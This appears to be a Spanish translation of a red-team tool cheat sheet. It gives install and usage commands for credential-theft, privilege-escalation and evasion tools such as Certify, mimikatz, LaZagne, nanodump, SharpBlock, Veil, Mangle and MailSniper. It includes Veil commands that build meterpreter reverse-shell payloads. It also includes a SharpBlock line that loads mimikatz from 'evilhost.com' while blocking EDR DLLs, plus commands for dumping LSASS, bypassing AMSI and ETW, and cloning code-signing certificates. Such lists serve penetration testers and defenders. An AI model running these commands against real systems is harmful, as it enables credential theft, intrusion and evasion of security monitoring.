[Certify.Program]::Main("find /vulnerable".Split())
Las instrucciones completas de compilación se pueden encontrar aquí.
Uso:```bash
Certify.exe find /vulnerable
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin
Se puede encontrar un recorrido completo del ejemplo [aquí](https://github.com/GhostPack/Certify#example-walkthrough).
### [🔙](#tool-list)[Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1)
Get-GPPPassword es un script de PowerShell parte del kit de herramientas PowerSploit, diseñado para recuperar contraseñas de cuentas locales creadas y gestionadas mediante las Preferencias de directiva de grupo (GPP).
Get-GPPPassword funciona buscando en la carpeta SYSVOL del controlador de dominio cualquier archivo GPP que contenga información de contraseñas. Una vez que encuentra estos archivos, descifra la información de la contraseña y la muestra al usuario.
**Instalación:**
Siga las [instrucciones de instalación](https://github.com/A-poc/RedTeam-Tools#powersploit) de PowerSploit desde esta hoja de herramientas.```bash
powershell.exe -ep bypass
Import-Module PowerSploit
Uso:```bash
Get-GPPPassword
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
### [🔙](#tool-list)[Sherlock](https://github.com/rasta-mouse/Sherlock)
Script de PowerShell para encontrar rápidamente parches de software faltantes para vulnerabilidades de escalada de privilegios locales.
_Admite:_
- MS10-015 : Modo de Usuario a Ring (KiTrap0D)
- MS10-092 : Programador de Tareas
- MS13-053 : Desbordamiento del Pool del Kernel Win32k por NTUserMessageCall
- MS13-081 : Página NULL de Win32k en TrackPopupMenuEx
- MS14-058 : Desreferencia de Puntero Nulo en Win32k por TrackPopupMenu
- MS15-051 : ClientCopyImage Win32k
- MS15-078 : Desbordamiento de Búfer del Controlador de Fuentes
- MS16-016 : 'mrxdav.sys' WebDAV
- MS16-032 : Manejador de Inicio de Sesión Secundario
- MS16-034 : EoP en Controladores en Modo Kernel de Windows
- MS16-135 : Elevación de Privilegios en Win32k
- CVE-2017-7199 : Agente Nessus 6.6.2 - 6.10.3 Escalada de Privilegios
**Instalación: (PowerShell)**```bash
# Git install
git clone https://github.com/rasta-mouse/Sherlock
# Load powershell module
Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1
Uso: (PowerShell)```bash
Find-AllVulns
Find-MS14058
_Imagen utilizada de https://vk9-sec.com/sherlock-find-missing-windows-patches-for-local-privilege-escalation/_
### [🔙](#tool-list)[Watson](https://github.com/rasta-mouse/Watson)
Watson es una herramienta .NET diseñada para enumerar KBs faltantes y sugerir exploits para vulnerabilidades de escalada de privilegios.
Ideal para identificar parches faltantes y sugerir exploits que puedan utilizarse para explotar vulnerabilidades conocidas con el fin de obtener privilegios más altos en el sistema.
**Instalación:**
Usando [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Abra el [archivo .sln del proyecto Watson](https://github.com/rasta-mouse/Watson), elija "Release" y compile.
**Uso:**```bash
# Run all checks
Watson.exe
Texto de imagen utilizado de https://github.com/rasta-mouse/Watson#usage
Una herramienta basada en C# que automatiza el proceso de descubrimiento y explotación de secuestros de DLL en binarios objetivo.
Las rutas secuestradas descubiertas pueden ser armadas, durante un engagement, para evadir los EDR.
Instalación:
Nota: los requisitos i & ii deben colocarse en el directorio del propio ImpulsiveDLLHijacks.exe.
Información de compilación y configuración:
ImpulsiveDLLHijack
Y para las DLL de confirmación:
Configuración: Copia las DLL de confirmación (maldll32 & maldll64) en el directorio de ImpulsiveDLLHijack.exe y luego ejecuta ImpulsiveDLLHijack.exe :))
Instrucciones de instalación de https://github.com/knight0x07/ImpulsiveDLLHijack#2-prerequisites
Uso:```bash
ImpulsiveDLLHijack.exe -h
ImpulsiveDLLHijack.exe -path BINARY_PATH
Ejemplos de uso se pueden encontrar [aquí](https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples).
_Imagen utilizada de https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples_
### [🔙](#tool-list)[ADFSDump](https://github.com/mandiant/ADFSDump)
Una herramienta en C# para volcar todo tipo de cosas útiles de AD FS.
Creado por Doug Bienstock [@doughsec](https://twitter.com/doughsec) mientras estaba en Mandiant FireEye.
Esta herramienta está diseñada para ejecutarse junto con ADFSpoof. ADFSdump generará toda la información necesaria para generar tokens de seguridad usando ADFSpoof.
**Requisitos:**
- ADFSDump debe ejecutarse bajo el contexto de usuario de la cuenta de servicio de AD FS. Puede obtener esta información ejecutando un listado de procesos en el servidor de AD FS o desde la salida del cmdlet Get-ADFSProperties. Solo la cuenta de servicio de AD FS tiene los permisos necesarios para acceder a la base de configuración. Ni siquiera un DA puede acceder a esto.
- ADFSDump asume que el servicio está configurado para usar la base de datos interna de Windows (WID). Aunque sería trivial admitir un servidor SQL externo, esta característica no existe actualmente.
- ADFSDump debe ejecutarse localmente en un servidor de AD FS, NO en un proxy de aplicación web de AD FS. La WID solo se puede acceder localmente a través de una tubería con nombre.
**Instalación: (Compilar)**
ADFSDump fue compilado para .NET 4.5 con Visual Studio 2017 Community Edition. Simplemente abra el proyecto .sln, elija "Release" y compile.
**Uso: (Banderas)**```bash
# The Active Directory domain to target. Defaults to the current domain.
/domain:
# The Domain Controller to target. Defaults to the current DC.
/server:
# Switch. Toggle to disable outputting the DKM key.
/nokey
# (optional) SQL connection string if ADFS is using remote MS SQL rather than WID.
/database
Imagen usada de https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs
Un ofuscador de comandos y scripts de PowerShell compatible con PowerShell v2.0+. Si un punto final víctima es capaz de ejecutar PowerShell, entonces esta herramienta es excelente para crear scripts muy ofuscados.
Instalación:```bash git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
**Uso:**```bash
./Invoke-Obfuscation
Veil es una herramienta para generar payloads de metasploit que evitan las soluciones antivirus comunes.
Se puede utilizar para generar shellcode ofuscado, consulte el blog oficial de veil framework para más información.
Instalación: (Kali)```bash apt -y install veil /usr/share/veil/config/setup.sh --force --silent
**Instalar: (Git)**```bash
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
Uso:```bash
./Veil.py -t Ordnance --list-payloads
./Veil.py -t Ordnance --list-encoders
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234
./Veil.py -t Evasion --list-payloads
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris
Veil creators wrote a nice [blog post](https://www.veil-framework.com/veil-command-line-usage/) explaining further ordnance and evasion command line usage.
### [🔙](#tool-list)[SharpBlock](https://github.com/CCob/SharpBlock)
Un método para evadir las DLL de proyección activa de EDR al evitar la ejecución del punto de entrada.
**Características:**
- Bloquea la ejecución del punto de entrada de las DLL de EDR, lo que impide que se coloquen hooks de EDR.
- Bypass AMSI sin parches que es indetectable para escáneres que buscan parches de código de Amsi.dll en tiempo de ejecución.
- Proceso anfitrión que se reemplaza con un implant PE que se puede cargar desde disco, HTTP o pipe con nombre (Cobalt Strike).
- El proceso implantado se oculta para ayudar a evadir escáneres que buscan procesos hollowed.
- Los argumentos de línea de comandos se suplantan y se implantan después de la creación del proceso usando un método sigiloso de detección de EDR.
- Bypass de ETW sin parches.
- Bloquea la invocación de NtProtectVirtualMemory cuando el destinatario está dentro del rango del espacio de direcciones de una DLL bloqueada.
**Instalación:**
Use [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/) para compilar el binario de SharpBlock.
Abra el proyecto [.sln](https://github.com/CCob/SharpBlock) de SharpBlock, elija "Release" y compile.
**Uso:**```bash
# Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
# Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi
Nice PenTestPartners blog post aquí.
Imagen extraída de https://youtu.be/0W9wkamknfM
Alcatraz es un ofuscador de binarios x64 con interfaz gráfica que puede ofuscar varios archivos PE diferentes, incluyendo:
Algunas funciones de ofuscación compatibles incluyen:
Instalación: (Requisitos)
Instalar: https://vcpkg.io/en/getting-started.html```bash vcpkg.exe install asmjit:x64-windows vcpkg.exe install zydis:x64-windows
**Uso:**
Usando la GUI para ofuscar un binario:
1. Carga un binario haciendo clic en `file` en la esquina superior izquierda.
2. Agrega funciones expandiendo el árbol `Functions`. (Puedes buscar escribiendo el nombre en la barra de búsqueda en la parte superior)
3. Presiona `compile` (**Nota:** _Ofuscar muchas funciones puede tomar algunos segundos_)
_Imagen utilizada de https://github.com/weak1337/Alcatraz_
### [🔙](#tool-list)[Mangle](https://github.com/optiv/Mangle)
Mangle es una herramienta que manipula aspectos de ejecutables compilados (.exe o DLL).
Mangle puede eliminar cadenas basadas en Indicadores de Compromiso (IoC) conocidos y reemplazarlas con caracteres aleatorios, modificar el archivo inflando su tamaño para evitar EDRs, y puede clonar certificados de firma de código de archivos legítimos.
Al hacerlo, Mangle ayuda a los loaders a evadir escáneres en disco y en memoria.
**Instalación:**
El primer paso, como siempre, es clonar el repositorio. Antes de compilar Mangle, necesitas instalar las dependencias. Para instalarlas, ejecuta los siguientes comandos:```
go get github.com/Binject/debug/pe
Luego constrúyelo``` git clone https://github.com/optiv/Mangle cd Mangle go build Mangle.go
**Uso:**```bash
-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int
How many MBs to increase the file by
La información de uso completo se puede encontrar aquí.
Imagen utilizada de https://github.com/optiv/Mangle
AMSI.fail es un gran sitio web que se puede utilizar para generar fragmentos de PowerShell ofuscados que rompen o deshabilitan AMSI para el proceso actual.
Los fragmentos se seleccionan aleatoriamente de un pequeño grupo de técnicas/variaciones antes de ser ofuscados. Cada fragmento se ofusca en tiempo de ejecución/solicitud para que ningún resultado generado comparta las mismas firmas.
Un buen blog de f-secure que explica AMSI aquí.
Imagen utilizada de http://amsi.fail/
Excelente herramienta para obtener acceso a contraseñas hash y en texto claro en un endpoint de una víctima. Una vez que haya obtenido acceso privilegiado a un sistema, deje caer esta herramienta para recopilar algunas credenciales.
Instalación:
mimikatz.exe se encuentra en la carpeta x64.Uso:```bash .\mimikatz.exe privilege::debug
### [🔙](#tool-list)[LaZagne](https://github.com/AlessandroZ/LaZagne)
Buena herramienta para extraer contraseñas almacenadas localmente de navegadores, bases de datos, juegos, correo, git, wifi, etc.
**Instalación: (Binario)**
Puedes instalar el binario independiente desde [aquí](https://github.com/AlessandroZ/LaZagne/releases/).
**Uso:**```bash
# Launch all modes
.\laZagne.exe all
# Launch only a specific module
.\laZagne.exe browsers
# Launch only a specific software script
.\laZagne.exe browsers -firefox
Herramienta para descifrar hashes de contraseñas. Admite una gran lista de algoritmos de hash (La lista completa se puede encontrar aquí).
Instalación: Binario
Puedes instalar el binario independiente desde aquí.
Uso:```bash .\hashcat.exe --help
Buena hoja de referencia de comandos de hashcat [cheatsheet](https://cheatsheet.haax.fr/passcracking-hashfiles/hashcat_cheatsheet/).
### [🔙](#tool-list)[John the Ripper](https://github.com/openwall/john)
Otro cracker de contraseñas, que soporta cientos de tipos de hash y cifrados, y se ejecuta en muchos sistemas operativos, CPUs y GPUs.
**Instalación:**```bash
sudo apt-get install john -y
Uso:```bash john
### [🔙](#tool-list)[SCOMDecrypt](https://github.com/nccgroup/SCOMDecrypt)
Esta herramienta está diseñada para recuperar y descifrar las credenciales RunAs almacenadas en las bases de datos de Microsoft System Center Operations Manager (SCOM).
Publicación del blog de NCC - ['¿SCOMplicado? – Descifrando credenciales SCOM "RunAs"'](https://research.nccgroup.com/2017/02/23/scomplicated-decrypting-scom-runas-credentials/)
**Requisitos previos:**
Para ejecutar la herramienta necesitará privilegios administrativos en el servidor SCOM. También deberá asegurarse de tener acceso de lectura a la siguiente clave de registro:```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\MOMBins
Puede verificar manualmente que puede ver la base de datos obteniendo los detalles de conexión de las siguientes claves:``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseServerName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseName
**Instalar: (PS1)**```
git clone https://github.com/nccgroup/SCOMDecrypt
cd .\SCOMDecrypt\SCOMDecrypt\
. .\Invoke-SCOMDecrypt.ps1
Instalación: (Compilación)
Usando Visual Studio 2019 Community Edition puedes compilar el binario de SCOMDecrypt.
Abre el proyecto .sln de SCOMDecrypt, elige "Release" y compila.
Uso:```bash
Invoke-SCOMDecrypt
.\SCOMDecrypt.exe
_Texto de imagen utilizado de https://github.com/nccgroup/SCOMDecrypt_
### [🔙](#tool-list)[nanodump](https://github.com/helpsystems/nanodump)
LSASS (Local Security Authority Subsystem Service) es un proceso del sistema en el sistema operativo Windows que se encarga de aplicar la política de seguridad en el sistema. Es responsable de una serie de tareas relacionadas con la seguridad, incluyendo la autenticación de usuarios para el inicio de sesión, la aplicación de políticas de seguridad y la generación de registros de auditoría.
La creación de un volcado de este proceso puede permitir a un atacante extraer hashes de contraseñas u otra información sensible de la memoria del proceso, lo que podría ser utilizado para comprometer el sistema aún más.
Esto permite la creación de un minidump del proceso LSASS.
**Instalación:**```bash
git clone https://github.com/helpsystems/nanodump.git
Instalación: (Linux con MinGW)```bash make -f Makefile.mingw
**Instalar: (Windows con MSVC)**```bash
nmake -f Makefile.msvc
Instalación: (solo CobaltStrike)
Importe el script NanoDump.cna en Cobalt Strike.
La información completa de instalación se puede encontrar aquí.
Uso:```bash
nanodump.x64.exe
nanodump --silent-process-exit C:\Windows\Temp\
nanodump --shtinkering
La información completa de uso se puede encontrar [aquí](https://github.com/helpsystems/nanodump#1-usage).
_Imagen usada de https://github.com/helpsystems/nanodump_
### [🔙](#tool-list)[eviltree](https://github.com/t3l3machus/eviltree)
Una versión independiente en python3 del clásico comando "tree" con la característica adicional de buscar palabras clave/expresiones regulares proporcionadas por el usuario en archivos, resaltando aquellos que contienen coincidencias. Creado por dos razones principales:
- Mientras se buscan secretos en archivos de estructuras de directorios anidadas, poder visualizar qué archivos contienen patrones de palabras clave/expresiones regulares proporcionadas por el usuario y dónde se encuentran esos archivos en la jerarquía de carpetas, proporciona una ventaja significativa.
- `tree` es una herramienta increíble para analizar estructuras de directorios. Es muy útil tener una alternativa independiente del comando para la enumeración post-explotación, ya que no está preinstalado en todas las distribuciones de Linux y es algo limitado en Windows (en comparación con la versión UNIX).
**Instalación:**```bash
git clone https://github.com/t3l3machus/eviltree
Uso:```bash
python3 eviltree.py -r /var/www -x ".{0,3}passw.{0,3}[=]{1}.{0,18}" -v
python3 eviltree.py -r C:\Users\USERNAME -k passw,admin,account,login,user -L 3 -v
_Imagen utilizada de https://github.com/t3l3machus/eviltree_
### [🔙](#tool-list)[SeeYouCM-Thief](https://github.com/trustedsec/SeeYouCM-Thief)
Herramienta sencilla para descargar y analizar automáticamente archivos de configuración de sistemas telefónicos Cisco en busca de credenciales SSH.
Opcionalmente también enumerará usuarios de Active Directory desde la API UDS.
[Blog - Explotando configuraciones incorrectas comunes en sistemas telefónicos Cisco](https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/)
**Instalación:**```bash
git clone https://github.com/trustedsec/SeeYouCM-Thief
python3 -m pip install -r requirements.txt
Uso:```bash
./thief.py -H --userenum
./thief.py -H [--verbose]
./thief.py --phone [--verbose]
./thief.py --subnet [--verbose]
_Imagen utilizada de https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/_
### [🔙](#tool-list)[MailSniper](https://github.com/dafthack/MailSniper)
MailSniper es una herramienta de pruebas de penetración para buscar correos electrónicos en un entorno Microsoft Exchange en busca de términos específicos (contraseñas, inteligencia interna, información de arquitectura de red, etc.). Puede ser utilizada por un usuario no administrador para buscar en su propio correo electrónico o por un administrador de Exchange para buscar en los buzones de todos los usuarios de un dominio.
MailSniper también incluye módulos adicionales para rociado de contraseñas, enumeración de usuarios y dominios, obtención de la Lista de direcciones global (GAL) desde OWA y EWS, y verificación de permisos de buzón para cada usuario de Exchange en una organización.
Una excelente publicación de blog con más información [aquí](https://www.blackhillsinfosec.com/introducing-mailsniper-a-tool-for-searching-every-users-email-for-sensitive-data/).
[Manual de campo de MailSniper](http://www.dafthack.com/files/MailSniper-Field-Manual.pdf)
**Instalación:**```
git clone https://github.com/dafthack/MailSniper
cd MailSniper
Import-Module MailSniper.ps1
Uso:```bash
Invoke-SelfSearch -Mailbox [email protected]
_Imagen utilizada de https://patrowl.io/_
# Descubrimiento
### [🔙](#tool-list)[PCredz](https://github.com/lgandx/PCredz)
Esta herramienta extrae números de tarjetas de crédito, NTLM (DCE-RPC, HTTP, SQL, LDAP, etc.), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc. de un archivo pcap o de una interfaz en vivo.
**Instalación:**```bash
git clone https://github.com/lgandx/PCredz
Uso: (Carpeta de archivos PCAP)```python python3 ./Pcredz -d /tmp/pcap-directory-to-parse/
**Uso:** (Live Capture)```python
python3 ./Pcredz -i eth0 -v
Ping Castle es una herramienta diseñada para evaluar rápidamente el nivel de seguridad de Active Directory con una metodología basada en la evaluación de riesgos y un marco de madurez. No busca una evaluación perfecta, sino un compromiso de eficiencia.
Instalación: (Descargar)``` https://github.com/vletoux/pingcastle/releases/download/2.11.0.1/PingCastle_2.11.0.1.zip
**Uso:**```python
./PingCastle.exe
Seatbelt es una herramienta útil para recopilar información detallada sobre la postura de seguridad de una máquina Windows objetivo, con el fin de identificar posibles vulnerabilidades y vectores de ataque.
Está diseñada para ejecutarse en una máquina víctima comprometida, recopilando información sobre la configuración de seguridad actual, incluyendo datos sobre el software instalado, servicios, directivas de grupo y otras configuraciones relacionadas con la seguridad.
Instalación: (Compilar)
Seatbelt ha sido compilado para .NET 3.5 y 4.0 con características de C# 8.0 y es compatible con Visual Studio Community Edition.
Abra el archivo .sln del proyecto, seleccione "release" y compile.
Uso:```bash
Seatbelt.exe -group=all -full > output.txt
Seatbelt.exe "LogonEvents 30"